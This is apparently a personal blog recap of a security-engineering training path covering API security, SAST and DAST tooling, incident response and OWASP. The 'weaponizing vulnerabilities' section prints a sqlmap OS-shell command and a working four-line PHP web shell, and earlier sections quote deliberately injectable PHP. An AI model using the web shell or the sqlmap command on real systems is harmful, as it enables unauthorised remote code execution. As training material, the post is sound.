Completing Security Engineer on THM – Part II

Introduction

Part 1 covered the foundations, the risk math, and the hardening module of TryHackMe’s Security Engineer path. This half covers the three modules I enjoyed most: software security, incident management, and the OWASP wrap-up. It is also the half with the most terminal output, which is not a coincidence.

Where security meets shipping

Let’s get going.

API security top 10

The two OWASP API Security Top 10 rooms open with breach numbers that explain why APIs get their own list:

  • LinkedIn, 2021: 700 million user records scraped through the API
  • Twitter, 2022: 5.4 million accounts via a zero-day linking handles to phone numbers and emails
  • PIXLR, 2021: 1.9 million accounts including hashed passwords

The entries that stuck with me:

  • BOLA is IDOR grown up: a valid request for an object the user is not authorized to see, fixed by authorization checks in the model layer rather than the controller
  • BFLA trusts the client about roles: the vulnerable endpoint read an isAdmin: 1 header, the fixed one looks the role up in the database; if the client can claim it, assume the client will
  • Mass assignment lets client data bind straight onto server objects: the demo signup POSTed a hidden credit field that the framework persisted without complaint, and Laravel’s fillable and guarded arrays exist to stop that
  • Rate limits, response filtering, and role checks belong server-side, all ten entries long; nothing in this list gets fixed in the browser

SSDLC economics

The SSDLC room sells the economics before the tooling, quoting IBM numbers on what a flaw costs to fix depending on where you catch it:

Caught inRelative cost
Design1x
Implementation6x
Testing15x
Maintenance100x

The tool ladder then maps onto the lifecycle:

ToolWhat it doesWhen it runs
SASTScans source, white boxCoding, per pull request
SCAScans dependencies and licensesCoding
DASTAttacks the running app, black boxStaging, pre-production
IASTInstruments the app from insideQA
RASPBlocks attacks at runtimeProduction

A vulnerability assessment finds issues for little money; a pentest proves them at real cost. OWASP SAMM is the maturity model to aim at if you want to know where your organization stands.

SAST with Psalm

The SAST room walks the whole arc from manual review to Psalm, and the manual part is a grep story. Find the dangerous functions, then trace who calls them:

grep -r -n 'mysqli_query('
  db.php:18: $result = mysqli_query($conn, $query);

grep -rn 'db_query('
    hidden-panel.php:7:$result = db_query($conn, $sql);
    hidden-panel.php:20:$result2 = db_query($conn, $sql2);
    hidden-panel.php:23:$result3 = db_query($conn, $sql3);

Line 7 is a textbook SQL injection, GET input concatenated into raw SQL:

$sql = "SELECT id, firstname, lastname FROM MyGuests WHERE id=".$_GET['guest_id'];
$result = db_query($conn, $sql);

The other two calls run the same pattern through preg_replace filters, and this is where the room gets sneaky:

$sql2 = "SELECT id, logtext FROM logs WHERE id='".preg_replace('/[^a-z0-9A-Z"]/', "", $_GET['log_id']). "'";

$sql3 = "SELECT id, name FROM asciiart WHERE id=".preg_replace("/[^0-9]/", "", $_GET['art_id'], 1);

The first filter is sound: only alphanumeric and double quotes survive, and the single-quoted SQL string cannot be escaped. The second looks stricter but passes a third argument of 1, the maximum replacement count, so one non-numeric character gets stripped and everything after it sails through. Vulnerable.

Psalm then automates the same hunt. Structural mode catches the = written where == belongs, always falsy:

./vendor/bin/psalm --no-cache

ERROR: TypeDoesNotContainType - html/hidden-panel.php:10:5 - Operand of type 0 is always falsy
  if ($result->num_rows = 0) {

Taint mode traces user input from source to sink and finds the local file inclusion:

./vendor/bin/psalm --no-cache --taint-analysis

ERROR: TaintedInclude - html/view.php:22:9 - Detected tainted code passed to include or similar
  $_GET['img'] - html/view.php:22:28
include('./gallery-files/'.$_GET['img']);

Psalm misses something here, and to be honest, I’m not a big fan of this tool. All database calls collapse into one mysqli_query() wrapper in db.php, so two distinct injections look like one error at one location. The fix is an annotation that teaches Psalm where the sink is:

/**
 * @psalm-taint-sink sql $query
 * @psalm-taint-specialize
 */
function db_query($conn, $query){
    $result = mysqli_query($conn, $query);
    return $result;
}

The final scoreboard against the manual review says everything about trusting tools:

QueryManual reviewPsalmVerdict
$sqlVulnerableVulnerableOK
$sql2Not vulnerableVulnerableFalse positive
$sql3VulnerableNot vulnerableFalse negative

DAST with ZAP

The DAST room is a tour of OWASP ZAP that ends in a pipeline:

  • The plain spider misses links generated by JavaScript, so the AJAX spider drives a real browser instead
  • Authenticated scanning records a ZEST script, attaches it to a context with a user, flags logged-in and logged-out indicators, and excludes logout.php so the scanner keeps its session
  • APIs skip spidering: import an OpenAPI spec and the endpoints appear ready to scan
  • The lab wires a Gitea repo to Jenkins, and a scan stage in the Jenkinsfile fails the build on findings

The zap2docker profiles make the pipeline split concrete:

docker pull owasp/zap2docker-stable

docker run -t owasp/zap2docker-stable zap-baseline.py -t https://www.example.com
docker run -t owasp/zap2docker-stable zap-full-scan.py -t https://www.example.com
docker run -t owasp/zap2docker-stable zap-api-scan.py -t https://www.example.com/swagger.json -f openapi

Baseline runs one minute of spidering with no active scan, which is why it goes on every commit; full scans stay scheduled. Cheap on every push, thorough on a timer: that is how I want scanners wired into a pipeline.

ZAP has a lot of features, but I felt it to be a bit clunky.

Weaponizing vulnerabilities

The room between this path and everything offensive I have done:

  • A 0-day is discovered but undisclosed; an n-day has a patch, with n counting the days since that patch shipped
  • Adversaries reverse-engineer patches, and most public exploits land on Exploit Database within a week of disclosure, so patch latency is exposure; the NVD feed keeps score
  • Low-impact flaws chain: the lab chains a medium SQL injection into arbitrary file upload into full remote code execution, with nothing impressive along the way

The lab’s login parameter goes in with sqlmap asking for an OS shell:

sqlmap -u "http://MACHINE_IP/ai/includes/user_login.php?email=test%40chatai.com&password=123" -p email --os-shell

sqlmap confirms time-based blind SQL injection, uploads a stager to the web root, and drops to a shell. The uploaded web shell is four lines:

<?php
if (isset($_REQUEST['cmd'])) {
  echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; die;
}
?>

The defensive lesson: you may never get to block the clever exploit itself, but the chain has boring links you control, in patching, segmentation, and upload validation.

DevSecOps

The module closes with the culture argument, and as someone who lived the waterfall-to-DevOps arc it sounds about right:

  • Shift left: security in every phase instead of a pass/fail gate at the end, because post-development review cannot keep up with release pace
  • Autonomy: security tests become another unit test; playbooks and runbooks let teams make secure decisions without a gatekeeper
  • Transparency: developers see scanner output, a privilege that used to be security-only
  • Empathy: risk is team-relative; an availability bug in an internal service can outrank an injection behind a proxy, and scanners tuned without that context cry wolf until nobody listens

The DevSecOps path is the next path I want to tick off.

Blue hours

Module five is the one I hope I never need and the one I am glad to have.

From event to incident

Thousands of events, some flagged as alerts, triage assigning severity, and only the ones with real suspected impact becoming incidents. Escalation runs through four levels, each invoking more people with more disruptive authority:

LevelTeamLooks like
1SOCOne analyst, several per day
2CERTSeveral analysts scoping, e.g. who interacted with the phishing mail
3CSIRTFull SOC plus forensics, containment, eradication
4CMTExecutives, legal, regulators, “nuclear” options like going offline

The process follows NIST SP 800-61r2: preparation, detection and analysis, containment then eradication then recovery, post-incident activity. The middle phases cycle until business as usual. The ordering carries its own warning label: eradicating before containing wastes the work, and the room’s example is resetting AD passwords while the attacker still holds access, which hands them the new credentials.

Around 60% of small companies close within six months of a cyber attack per the National Cybersecurity Alliance, and most listed pitfalls (weak hardening, missing logs, untuned alerts, no isolated backups) exist long before the incident does.

Logs and SIEM

The logging room covers the machinery accountability depends on:

  • SIEM anatomy: forwarders ship data to indexers, search heads query it
  • Storage tiers balance cost against access: hot on SSD, warm in between, cold on cheap disk or tape
  • PCI DSS wants audit logs kept a year, with 90 days immediately available
  • One quality log source can need several log types: a firewall log and a system log validate each other
  • Correlation turns logs into a story: a suspicious DLL creation, checked against browser history (did the user just download something?) and mail logs (did phishing land minutes before?)
  • Over-collection is its own failure mode: duplicate logs, duplicate alerts, noise

First responder

The single most counterintuitive lesson of the path was this one: do not power off the compromised host. “Have you tried turning it off and on again” is the platform engineer’s reflex and the wrong one here; volatile evidence is lost with the power and the threat actor learns they are noticed. Collection follows the RFC 3227 order of volatility:

  1. Registers and cache
  2. Routing table, ARP cache, process table, kernel statistics, memory
  3. Temporary file systems
  4. Disk
  5. Remote logging and monitoring data
  6. Physical configuration and network topology
  7. Archival media

Never trust on-system tools, because the attacker may have replaced them, and analyze verified copies under chain of custody. Containment comes before eradication, with four flavors:

  • Network segmentation: move the host where it cannot reach anything
  • Physical isolation: confiscate the machine
  • Virtual isolation: an EDR jails the host into specific communication only
  • Covert rate limiting: everything gets slow, command and control cannot tell why, and you buy time to scope

The business continuity material closes it out: the BCP is invoked by senior management only, after containment, and is quantified by RPO (acceptable data loss), RTO (hardware recovery), WRT (software and data recovery), and MTD as the cap on the two combined.

Crisis management

Level 4 gets its own room:

  • The CMT runs as an autocracy under a chair, because committees are slow and GPO-deployed ransomware can encrypt a Windows environment inside 120 minutes
  • The golden hour goes to assembling via call tree, taking the CSIRT briefing, triaging actions, and sending holding statements that reassure without divulging
  • A scribe keeps the timeline that becomes the crisis document
  • Most CMT actions are non-technical: narrative control, regulators, law enforcement
  • The security engineer joins as the SME and explains what taking a system offline costs, which is a different skill from knowing it should come offline

OWASP 2025 through an IAAA lens

The final module rereads the OWASP Top 10 with module one’s vocabulary, and the mapping holds:

  • Broken access control is an authorization failure
  • Authentication failures are what they say
  • Logging and alerting failures are accountability failures
  • Design flaws (misconfiguration, supply chain, cryptographic failures, insecure design) sit outside IAAA

The 2025 flavor of the design flaws is AI:

  • Prompt injection as injection’s younger sibling
  • Model outputs taken on faith
  • Poisoned models from unverified sources

The recommended posture treats a model like any other untrusted input source, validates what comes out of it, and keeps system prompts away from user content. I write about security and AI here in turns, and this is the first official standard where I recognize both halves of the blog in the same list.

Next

The second half of the path is where security meets the shipping process I already run, and it held up a mirror: SAST and DAST belong in the pipeline I build, incident response belongs in the on-call rotation I sit in. No certificate at the end, and it does not need one; the rooms change how you look at systems, which is the part that is really important.

Next week… I’m not sure yet. Stay tuned.